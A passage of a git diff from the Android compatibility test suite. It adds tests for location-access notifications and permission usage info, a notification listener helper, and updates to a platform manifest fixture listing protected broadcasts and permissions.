         final int packageCount = expected.size();
         for (int i = 0; i < packageCount; i++) {
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
new file mode 100644
index 0000000..1251232
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -0,0 +1,463 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+import static android.app.Notification.EXTRA_TITLE;
+import static android.content.Context.BIND_AUTO_CREATE;
+import static android.content.Intent.ACTION_BOOT_COMPLETED;
+import static android.provider.Settings.Secure.LOCATION_ACCESS_CHECK_DELAY_MILLIS;
+import static android.provider.Settings.Secure.LOCATION_ACCESS_CHECK_INTERVAL_MILLIS;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.content.pm.ResolveInfo;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.provider.Settings;
+import android.service.notification.NotificationListenerService;
+import android.service.notification.StatusBarNotification;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import com.android.server.job.nano.JobSchedulerServiceDumpProto;
+import com.android.server.job.nano.JobSchedulerServiceDumpProto.RegisteredJob;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.util.Arrays;
+
+/**
+ * Tests the {@code LocationAccessCheck} in permission controller.
+ */
+@RunWith(AndroidJUnit4.class)
+public class LocationAccessCheckTest {
+    private static final String LOG_TAG = LocationAccessCheckTest.class.getSimpleName();
+
+    private static final String TEST_APP_PKG = "android.permission.cts.appthataccesseslocation";
+    private static final String TEST_APP_LABEL = "CtsLocationAccess";
+    private static final String TEST_APP_SERVICE = TEST_APP_PKG + ".AccessLocationOnCommand";
+
+    private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
+    private static final long EXPECTED_TIMEOUT_MILLIS = 1000;
+
+    private static final Context sContext = InstrumentationRegistry.getTargetContext();
+    private static final UiAutomation sUiAutomation = InstrumentationRegistry.getInstrumentation()
+            .getUiAutomation();
+
+    private static final String PERMISSION_CONTROLLER_PKG = sContext.getPackageManager()
+            .getPermissionControllerPackageName();
+
+    /**
+     * Connected to {@value #TEST_APP_PKG} and make it access the location in the background
+     */
+    private static void accessLocation() {
+        ServiceConnection connection = new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                sContext.unbindService(this);
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                // ignore
+            }
+        };
+
+        // Connect and disconnect to service. After the service is disconnected it causes a
+        // access to the location
+        Intent testAppService = new Intent();
+        testAppService.setComponent(new ComponentName(TEST_APP_PKG, TEST_APP_SERVICE));
+        sContext.bindService(testAppService, connection, BIND_AUTO_CREATE);
+    }
+
+    /**
+     * A {@link java.util.concurrent.Callable} that can throw a {@link Throwable}
+     */
+    private interface ThrowingCallable<T> {
+        T call() throws Throwable;
+    }
+
+    /**
+     * A {@link Runnable} that can throw a {@link Throwable}
+     */
+    private interface ThrowingRunnable {
+        void run() throws Throwable;
+    }
+
+    /**
+     * Make sure that a {@link ThrowingRunnable} eventually finishes without throwing a {@link
+     * Exception}.
+     *
+     * @param r       The {@link ThrowingRunnable} to run.
+     * @param timeout the maximum time to wait
+     */
+    public static void eventually(@NonNull ThrowingRunnable r, long timeout) throws Throwable {
+        eventually(() -> {
+            r.run();
+            return 0;
+        }, timeout);
+    }
+
+    /**
+     * Make sure that a {@link ThrowingCallable} eventually finishes without throwing a {@link
+     * Exception}.
+     *
+     * @param r       The {@link ThrowingCallable} to run.
+     * @param timeout the maximum time to wait
+     *
+     * @return the return value from the callable
+     *
+     * @throws NullPointerException If the return value never becomes non-null
+     */
+    public static <T> T eventually(@NonNull ThrowingCallable<T> r, long timeout) throws Throwable {
+        long start = System.currentTimeMillis();
+
+        while (true) {
+            try {
+                T res = r.call();
+                if (res == null) {
+                    throw new NullPointerException("No result");
+                }
+
+                return res;
+            } catch (Throwable e) {
+                if (System.currentTimeMillis() - start < timeout) {
+                    Log.d(LOG_TAG, "Ignoring exception", e);
+
+                    Thread.sleep(100);
+                } else {
+                    throw e;
+                }
+            }
+        }
+    }
+
+    /**
+     * Get the state of the job scheduler
+     */
+    public static JobSchedulerServiceDumpProto getJobSchedulerDump() throws Exception {
+        ParcelFileDescriptor pfd = sUiAutomation.executeShellCommand("dumpsys jobscheduler --proto");
+
+        try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+            // Copy data from 'is' into 'os'
+            try (FileInputStream is = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
+                byte[] buffer = new byte[16384];
+
+                while (true) {
+                    int numRead = is.read(buffer);
+
+                    if (numRead == -1) {
+                        break;
+                    } else {
+                        os.write(buffer, 0, numRead);
+                    }
+                }
+            }
+
+            return JobSchedulerServiceDumpProto.parseFrom(os.toByteArray());
+        }
+    }
+
+    /**
+     * Clear all data of a package including permissions and files.
+     *
+     * @param pkg The name of the package to be cleared
+     */
+    private static void clearPackageData(@NonNull String pkg) {
+        runShellCommand("pm clear --user -2 " + pkg);
+    }
+
+    /**
+     * Force a run of the location check.
+     */
+    private static void runLocationCheck() {
+        runShellCommand("cmd jobscheduler run -f " + PERMISSION_CONTROLLER_PKG + " 0");
+    }
+
+    /**
+     * Get a notification thrown by the permission controller that is currently visible.
+     *
+     * @return The notification or {@code null} if there is none
+     */
+    private @Nullable StatusBarNotification getPermissionControllerNotification() throws Exception {
+        NotificationListenerService notificationService = NotificationListener.getInstance();
+
+        for (StatusBarNotification notification : notificationService.getActiveNotifications()) {
+            if (notification.getPackageName().equals(PERMISSION_CONTROLLER_PKG)) {
+                return notification;
+            }
+        }
+
+        return null;
+    }
+
+    /**
+     * Get a location access notification that is currently visible.
+     *
+     * @param cancelNotification if {@code true} the notification is canceled inside this method
+     *
+     * @return The notification or {@code null} if there is none
+     */
+    private StatusBarNotification getNotification(boolean cancelNotification) throws Throwable {
+        NotificationListenerService notificationService = NotificationListener.getInstance();
+
+        while (true) {
+            runLocationCheck();
+
+            StatusBarNotification notification;
+            try {
+                notification = eventually(this::getPermissionControllerNotification, 300);
+            } catch (NullPointerException e) {
+                return null;
+            }
+
+            if (notification.getNotification().extras.getString(EXTRA_TITLE, "")
+                    .contains(TEST_APP_LABEL)) {
+                if (cancelNotification) {
+                    notificationService.cancelNotification(notification.getKey());
+
+                    // Wait for notification to get canceled
+                    eventually(() -> assertFalse(
+                            Arrays.asList(notificationService.getActiveNotifications()).contains(
+                                    notification)), UNEXPECTED_TIMEOUT_MILLIS);
+                }
+
+                return notification;
+            } else {
+                notificationService.cancelNotification(notification.getKey());
+
+                // Wait until new notification can be shown
+                Thread.sleep(200);
+            }
+        }
+    }
+
+    /**
+     * Grant a permission to the {@value #TEST_APP_PKG}.
+     *
+     * @param permission The permission to grant
+     */
+    private void grantPermissionToTestApp(@NonNull String permission) {
+        sUiAutomation.grantRuntimePermission(TEST_APP_PKG, permission);
+    }
+
+    /**
+     * Register {@link NotificationListener}.
+     */
+    @BeforeClass
+    public static void allowNotificationAccess() {
+        runShellCommand("cmd notification allow_listener " + (new ComponentName(sContext,
+                NotificationListener.class).flattenToString()));
+    }
+
+    /**
+     * Change settings so that permission controller can show location access notifications more
+     * often.
+     */
+    @BeforeClass
+    public static void reduceDelays() {
+        runWithShellPermissionIdentity(() -> {
+            ContentResolver cr = sContext.getContentResolver();
+
+            // New settings will be applied in when permission controller is reset
+            Settings.Secure.putLong(cr, LOCATION_ACCESS_CHECK_INTERVAL_MILLIS, 100);
+            Settings.Secure.putLong(cr, LOCATION_ACCESS_CHECK_DELAY_MILLIS, 50);
+        });
+    }
+
+    /**
+     * Reset the permission controllers state before each test
+     */
+    @Before
+    public void resetPermissionControllerBeforeEachTest() throws Throwable {
+        resetPermissionController();
+    }
+
+    /**
+     * Reset the permission controllers state.
+     */
+    private static void resetPermissionController() throws Throwable {
+        clearPackageData(PERMISSION_CONTROLLER_PKG);
+
+        // Wait until jobs are cleared
+        eventually(() -> {
+            JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
+            for (RegisteredJob job : dump.registeredJobs) {
+                assertNotEquals(job.dump.sourcePackageName, PERMISSION_CONTROLLER_PKG);
+            }
+        }, UNEXPECTED_TIMEOUT_MILLIS);
+
+        // Setup up permission controller again (simulate a reboot)
+        Intent permissionControllerSetupIntent = null;
+        for (ResolveInfo ri : sContext.getPackageManager().queryBroadcastReceivers(
+                new Intent(ACTION_BOOT_COMPLETED), 0)) {
+            String pkg = ri.activityInfo.packageName;
+
+            if (pkg.equals(PERMISSION_CONTROLLER_PKG)) {
+                permissionControllerSetupIntent = new Intent();
+                permissionControllerSetupIntent.setClassName(pkg, ri.activityInfo.name);
+            }
+        }
+
+        if (permissionControllerSetupIntent != null) {
+            sContext.sendBroadcast(permissionControllerSetupIntent);
+        }
+
+        // Wait until jobs are set up
+        eventually(() -> {
+            JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
+            for (RegisteredJob job : dump.registeredJobs) {
+                if (job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)) {
+                    return;
+                }
+            }
+
+            fail("Permission controller jobs not found");
+        }, UNEXPECTED_TIMEOUT_MILLIS);
+    }
+
+    /**
+     * Unregister {@link NotificationListener}.
+     */
+    @AfterClass
+    public static void disallowNotificationAccess() {
+        runShellCommand("cmd notification disallow_listener " + (new ComponentName(sContext,
+                        NotificationListener.class)).flattenToString());
+    }
+
+    /**
+     * Reset settings so that permission controller runs normally.
+     */
+    @AfterClass
+    public static void resetDelays() throws Throwable {
+        runWithShellPermissionIdentity(() -> {
+            ContentResolver cr = sContext.getContentResolver();
+
+            Settings.Secure.resetToDefaults(cr, LOCATION_ACCESS_CHECK_INTERVAL_MILLIS);
+            Settings.Secure.resetToDefaults(cr, LOCATION_ACCESS_CHECK_DELAY_MILLIS);
+        });
+
+        resetPermissionController();
+    }
+
+    @Test
+    public void notificationIsShown() throws Throwable {
+        accessLocation();
+        assertNotNull(getNotification(true));
+    }
+
+    @Test
+    public void notificationIsShownOnlyOnce() throws Throwable {
+        accessLocation();
+        getNotification(true);
+
+        assertNull(getNotification(false));
+    }
+
+    @Test
+    public void notificationIsShownAgainAfterClear() throws Throwable {
+        accessLocation();
+        getNotification(true);
+
+        clearPackageData(TEST_APP_PKG);
+
+        // Wait until package is cleared and permission controller has cleared the state
+        Thread.sleep(2000);
+
+        // Clearing removed the permissions, hence grant them again
+        grantPermissionToTestApp(ACCESS_FINE_LOCATION);
+        grantPermissionToTestApp(ACCESS_BACKGROUND_LOCATION);
+
+        accessLocation();
+        assertNotNull(getNotification(false));
+    }
+
+    @Test
+    public void notificationIsShownAgainAfterUninstallAndReinstall() throws Throwable {
+        accessLocation();
+        getNotification(true);
+
+        runShellCommand("pm uninstall " + TEST_APP_PKG);
+
+        // Wait until package permission controller has cleared the state
+        Thread.sleep(2000);
+
+        runShellCommand("pm install -g "
+                + "/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk");
+
+        eventually(() -> {
+            accessLocation();
+            assertNotNull(getNotification(false));
+        }, UNEXPECTED_TIMEOUT_MILLIS);
+    }
+
+    @Test
+    public void removeNotificationOnUninstall() throws Throwable {
+        accessLocation();
+        getNotification(false);
+
+        runShellCommand("pm uninstall " + TEST_APP_PKG);
+
+        eventually(() -> assertNull(getNotification(false)), UNEXPECTED_TIMEOUT_MILLIS);
+    }
+
+    @Test
+    public void notificationIsNotShownAfterAppDoesNotRequestLocationAnymore() throws Throwable {
+        accessLocation();
+        getNotification(true);
+
+        // Update to app to a version that does not request permission anymore
+        runShellCommand("pm install -r "
+                + "/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk");
+
+        resetPermissionController();
+
+        try {
+            // We don't expect a notification, but try to trigger one anyway
+            eventually(() -> assertNotNull(getNotification(false)), EXPECTED_TIMEOUT_MILLIS);
+        } catch (AssertionError expected) {
+            return;
+        }
+
+        fail("Location access notification was shown");
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/NotificationListener.java b/tests/tests/permission/src/android/permission/cts/NotificationListener.java
new file mode 100644
index 0000000..3a63524
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/NotificationListener.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import android.service.notification.NotificationListenerService;
+import android.util.Log;
+
+public class NotificationListener extends NotificationListenerService {
+    private static final String LOG_TAG = NotificationListener.class.getSimpleName();
+
+    private static final Object sLock = new Object();
+
+    private static NotificationListener sService;
+
+    @Override
+    public void onListenerConnected() {
+        Log.i(LOG_TAG, "connected");
+        synchronized (sLock) {
+            sService = this;
+            sLock.notifyAll();
+        }
+    }
+
+    public static NotificationListenerService getInstance() throws Exception {
+        synchronized (sLock) {
+            if (sService == null) {
+                sLock.wait(5000);
+            }
+
+            return sService;
+        }
+    }
+
+    @Override
+    public void onListenerDisconnected() {
+        Log.i(LOG_TAG, "disconnected");
+
+        synchronized (sLock) {
+            sService = null;
+        }
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index 4dbaab8..3b1cd6a 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -20,6 +20,8 @@
 import static android.content.pm.PackageInfo.REQUESTED_PERMISSION_GRANTED;
 import static android.content.pm.PackageManager.GET_PERMISSIONS;
 
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
@@ -37,6 +39,7 @@
 
 import com.android.compatibility.common.util.SystemUtil;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
@@ -141,6 +144,11 @@
         mContext.startActivity(startApp);
     }
 
+    @After
+    public void uninstallTestApp() {
+        runShellCommand("pm uninstall android.permission.cts.appthatrequestpermission");
+    }
+
     @SecurityTest
     @Test
     public void permissionGroupShouldNotBeAutoGrantedIfNewMember() throws Throwable {
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionUsageTest.java b/tests/tests/permission/src/android/permission/cts/PermissionUsageTest.java
new file mode 100644
index 0000000..5752801
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/PermissionUsageTest.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.content.pm.UsesPermissionInfo;
+import android.test.InstrumentationTestCase;
+
+import org.junit.Before;
+
+public final class PermissionUsageTest extends InstrumentationTestCase {
+    private PackageManager mPm;
+    private Context mContext;
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        mContext = getInstrumentation().getTargetContext();
+        mPm = mContext.getPackageManager();
+        assertNotNull(mPm);
+    }
+
+    private UsesPermissionInfo getUsesPermissionInfo(String permission) throws Exception {
+        PackageInfo info = mPm.getPackageInfo(mContext.getPackageName(),
+                PackageManager.GET_PERMISSIONS);
+        assertNotNull(info);
+        assertNotNull(info.usesPermissions);
+        for (UsesPermissionInfo upi : info.usesPermissions) {
+            if (permission.equals(upi.getPermission())) {
+                return upi;
+            }
+        }
+        return null;
+    }
+
+    public void testBasic() throws Exception {
+        UsesPermissionInfo upi = getUsesPermissionInfo(Manifest.permission.READ_CONTACTS);
+        assertEquals(UsesPermissionInfo.USAGE_NO, upi.getDataSentOffDevice());
+        assertEquals(UsesPermissionInfo.USAGE_NO, upi.getDataSharedWithThirdParty());
+        assertEquals(UsesPermissionInfo.USAGE_NO, upi.getDataUsedForMonetization());
+        assertEquals(UsesPermissionInfo.RETENTION_NOT_RETAINED, upi.getDataRetention());
+    }
+
+    public void testRetentionWeeks() throws Exception {
+        UsesPermissionInfo upi
+                = getUsesPermissionInfo(Manifest.permission.READ_PHONE_STATE);
+        assertEquals(UsesPermissionInfo.USAGE_YES, upi.getDataSentOffDevice());
+        assertEquals(UsesPermissionInfo.USAGE_YES, upi.getDataSharedWithThirdParty());
+        assertEquals(UsesPermissionInfo.USAGE_YES, upi.getDataUsedForMonetization());
+        assertEquals(UsesPermissionInfo.RETENTION_SPECIFIED, upi.getDataRetention());
+        assertEquals(32, upi.getDataRetentionWeeks());
+    }
+
+    public void testUserTriggered() throws Exception {
+        UsesPermissionInfo upi
+                = getUsesPermissionInfo(Manifest.permission.RECORD_AUDIO);
+        assertEquals(UsesPermissionInfo.USAGE_USER_TRIGGERED, upi.getDataSentOffDevice());
+        assertEquals(UsesPermissionInfo.USAGE_USER_TRIGGERED,
+                upi.getDataSharedWithThirdParty());
+        assertEquals(UsesPermissionInfo.USAGE_USER_TRIGGERED,
+                upi.getDataUsedForMonetization());
+        assertEquals(UsesPermissionInfo.RETENTION_UNLIMITED, upi.getDataRetention());
+    }
+
+    public void testUndefined() throws Exception {
+        UsesPermissionInfo upi
+                = getUsesPermissionInfo(Manifest.permission.READ_CALENDAR);
+        assertEquals(UsesPermissionInfo.USAGE_UNDEFINED, upi.getDataSentOffDevice());
+        assertEquals(UsesPermissionInfo.USAGE_UNDEFINED, upi.getDataSharedWithThirdParty());
+        assertEquals(UsesPermissionInfo.USAGE_UNDEFINED, upi.getDataUsedForMonetization());
+        assertEquals(UsesPermissionInfo.RETENTION_UNDEFINED, upi.getDataRetention());
+    }
+
+    public void testUsageInfoRequired() throws Exception {
+        PermissionInfo pi = mPm.getPermissionInfo("android.permission.cts.D", 0);
+        assertTrue(pi.usageInfoRequired);
+    }
+}
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index fadf178..6f6b8e84 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -358,6 +358,8 @@
     <protected-broadcast android:name="android.net.wifi.action.PASSPOINT_ICON" />
     <protected-broadcast android:name="android.net.wifi.action.PASSPOINT_OSU_PROVIDERS_LIST" />
     <protected-broadcast android:name="android.net.wifi.action.PASSPOINT_SUBSCRIPTION_REMEDIATION" />
+    <protected-broadcast android:name="android.net.wifi.action.PASSPOINT_LAUNCH_OSU_VIEW" />
+    <protected-broadcast android:name="android.net.wifi.action.WIFI_NETWORK_SUGGESTION_POST_CONNECTION" />
     <protected-broadcast android:name="android.net.wifi.supplicant.CONNECTION_CHANGE" />
     <protected-broadcast android:name="android.net.wifi.supplicant.STATE_CHANGE" />
     <protected-broadcast android:name="android.net.wifi.p2p.STATE_CHANGED" />
@@ -399,6 +401,8 @@
 
     <protected-broadcast android:name="android.telecom.action.DEFAULT_DIALER_CHANGED" />
     <protected-broadcast android:name="android.provider.action.DEFAULT_SMS_PACKAGE_CHANGED" />
+    <protected-broadcast android:name="android.provider.action.SMS_MMS_DB_CREATED" />
+    <protected-broadcast android:name="android.provider.action.SMS_MMS_DB_LOST" />
     <protected-broadcast android:name="android.intent.action.CONTENT_CHANGED" />
     <protected-broadcast android:name="android.provider.Telephony.MMS_DOWNLOADED" />
 
@@ -486,6 +490,7 @@
     <protected-broadcast android:name="android.telephony.action.CARRIER_CONFIG_CHANGED" />
     <protected-broadcast android:name="android.telephony.action.DEFAULT_SUBSCRIPTION_CHANGED" />
     <protected-broadcast android:name="android.telephony.action.DEFAULT_SMS_SUBSCRIPTION_CHANGED" />
+    <protected-broadcast android:name="android.telephony.action.SECRET_CODE" />
     <protected-broadcast android:name="android.telephony.action.SHOW_VOICEMAIL_NOTIFICATION" />
     <protected-broadcast android:name="android.telephony.action.SUBSCRIPTION_PLANS_CHANGED" />
 
@@ -582,7 +587,7 @@
     <protected-broadcast android:name="android.media.tv.action.PREVIEW_PROGRAM_BROWSABLE_DISABLED" />
     <protected-broadcast android:name="android.media.tv.action.WATCH_NEXT_PROGRAM_BROWSABLE_DISABLED" />
     <protected-broadcast android:name="android.media.tv.action.CHANNEL_BROWSABLE_REQUESTED" />
-    <protected-broadcast android:name="com.android.server.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER" />
+    <protected-broadcast android:name="com.android.server.inputmethod.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER" />
 
     <!-- Time zone rules update intents fired by the system server -->
     <protected-broadcast android:name="com.android.intent.action.timezone.RULES_UPDATE_OPERATION" />
@@ -605,11 +610,30 @@
     <protected-broadcast android:name="android.intent.action.DOCK_IDLE" />
     <protected-broadcast android:name="android.intent.action.DOCK_ACTIVE" />
 
+    <!-- Added in Q -->
+
+    <!-- For CarIdlenessTracker -->
+    <protected-broadcast android:name="com.android.server.jobscheduler.GARAGE_MODE_ON" />
+    <protected-broadcast android:name="com.android.server.jobscheduler.GARAGE_MODE_OFF" />
+    <protected-broadcast android:name="com.android.server.jobscheduler.FORCE_IDLE" />
+    <protected-broadcast android:name="com.android.server.jobscheduler.UNFORCE_IDLE" />
+
+    <protected-broadcast android:name="android.provider.action.DEFAULT_SMS_PACKAGE_CHANGED_INTERNAL" />
+
+    <protected-broadcast android:name="android.intent.action.DEVICE_CUSTOMIZATION_READY" />
+
     <!-- ====================================================================== -->
     <!--                          RUNTIME PERMISSIONS                           -->
     <!-- ====================================================================== -->
     <eat-comment />
 
+    <!-- Grouping for platform runtime permissions is not accessible to apps
+         @hide
+         @SystemApi
+    -->
+    <permission-group android:name="android.permission-group.UNDEFINED"
+        android:priority="100" />
+
     <!-- ====================================================================== -->
     <!-- Permissions for accessing user's contacts including personal profile   -->
     <!-- ====================================================================== -->
@@ -628,14 +652,17 @@
         <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_CONTACTS"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_readContacts"
         android:description="@string/permdesc_readContacts"
-        android:protectionLevel="dangerous" />
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
 
     <!-- Allows an application to write the user's contacts data.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_CONTACTS"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_writeContacts"
         android:description="@string/permdesc_writeContacts"
         android:protectionLevel="dangerous" />
@@ -657,14 +684,17 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_CALENDAR"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_readCalendar"
         android:description="@string/permdesc_readCalendar"
-        android:protectionLevel="dangerous" />
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
 
     <!-- Allows an application to write the user's calendar data.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_CALENDAR"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_writeCalendar"
         android:description="@string/permdesc_writeCalendar"
         android:protectionLevel="dangerous" />
@@ -686,6 +716,7 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.SEND_SMS"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_sendSms"
         android:description="@string/permdesc_sendSms"
         android:permissionFlags="costsMoney"
@@ -695,35 +726,43 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECEIVE_SMS"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_receiveSms"
         android:description="@string/permdesc_receiveSms"
-        android:protectionLevel="dangerous"/>
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
 
     <!-- Allows an application to read SMS messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_SMS"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_readSms"
         android:description="@string/permdesc_readSms"
-        android:protectionLevel="dangerous" />
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
 
     <!-- Allows an application to receive WAP push messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECEIVE_WAP_PUSH"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_receiveWapPush"
         android:description="@string/permdesc_receiveWapPush"
-        android:protectionLevel="dangerous" />
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
 
     <!-- Allows an application to monitor incoming MMS messages.
         <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECEIVE_MMS"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_receiveMms"
         android:description="@string/permdesc_receiveMms"
-        android:protectionLevel="dangerous" />
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
 
-    <!-- @TestApi Allows an application to read previously received cell broadcast
+    <!-- @SystemApi @TestApi Allows an application to read previously received cell broadcast
          messages and to register a content observer to get notifications when
          a cell broadcast has been received and added to the database. For
          emergency alerts, the database is updated immediately after the
@@ -736,19 +775,19 @@
          <p>Protection level: dangerous
          @hide Pending API council approval -->
     <permission android:name="android.permission.READ_CELL_BROADCASTS"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_readCellBroadcasts"
         android:description="@string/permdesc_readCellBroadcasts"
-        android:protectionLevel="dangerous" />
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
 
-    <!-- Allows financial apps to read filtered sms messages. -->
-    <permission android:name="android.permission.SMS_FINANCIAL_TRANSACTIONS"
-        android:protectionLevel="signature|appop" />
     <!-- ====================================================================== -->
     <!-- Permissions for accessing external storage                             -->
     <!-- ====================================================================== -->
     <eat-comment />
 
-    <!-- Used for runtime permissions related to the shared external storage. -->
+    <!-- Used for runtime permissions related to the shared external storage.
+         @deprecated replaced by new strongly-typed permission groups in Q. -->
     <permission-group android:name="android.permission-group.STORAGE"
         android:icon="@drawable/perm_group_storage"
         android:label="@string/permgrouplab_storage"
@@ -776,12 +815,14 @@
      grants your app this permission. If you don't need this permission, be sure your <a
      href="{@docRoot}guide/topics/manifest/uses-sdk-element.html#target">{@code
      targetSdkVersion}</a> is 4 or higher.
-     <p>Protection level: dangerous
+     @deprecated replaced by new strongly-typed permission groups in Q.
      -->
     <permission android:name="android.permission.READ_EXTERNAL_STORAGE"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_sdcardRead"
         android:description="@string/permdesc_sdcardRead"
-        android:protectionLevel="dangerous" />
+        android:protectionLevel="dangerous"
+        android:permissionFlags="removed" />
 
     <!-- Allows an application to write to external storage.
          <p class="note"><strong>Note:</strong> If <em>both</em> your <a
@@ -796,12 +837,70 @@
          read/write files in your application-specific directories returned by
          {@link android.content.Context#getExternalFilesDir} and
          {@link android.content.Context#getExternalCacheDir}.
-         <p>Protection level: dangerous
+         @deprecated replaced by new strongly-typed permission groups in Q.
     -->
     <permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_sdcardWrite"
         android:description="@string/permdesc_sdcardWrite"
-        android:protectionLevel="dangerous" />
+        android:protectionLevel="dangerous"
+        android:permissionFlags="removed" />
+
+    <!-- Runtime permission controlling access to the user's shared aural media
+         collection. -->
+    <permission-group android:name="android.permission-group.MEDIA_AURAL"
+        android:icon="@drawable/perm_group_aural"
+        android:label="@string/permgrouplab_aural"
+        android:description="@string/permgroupdesc_aural"
+        android:request="@string/permgrouprequest_aural"
+        android:priority="910" />
+
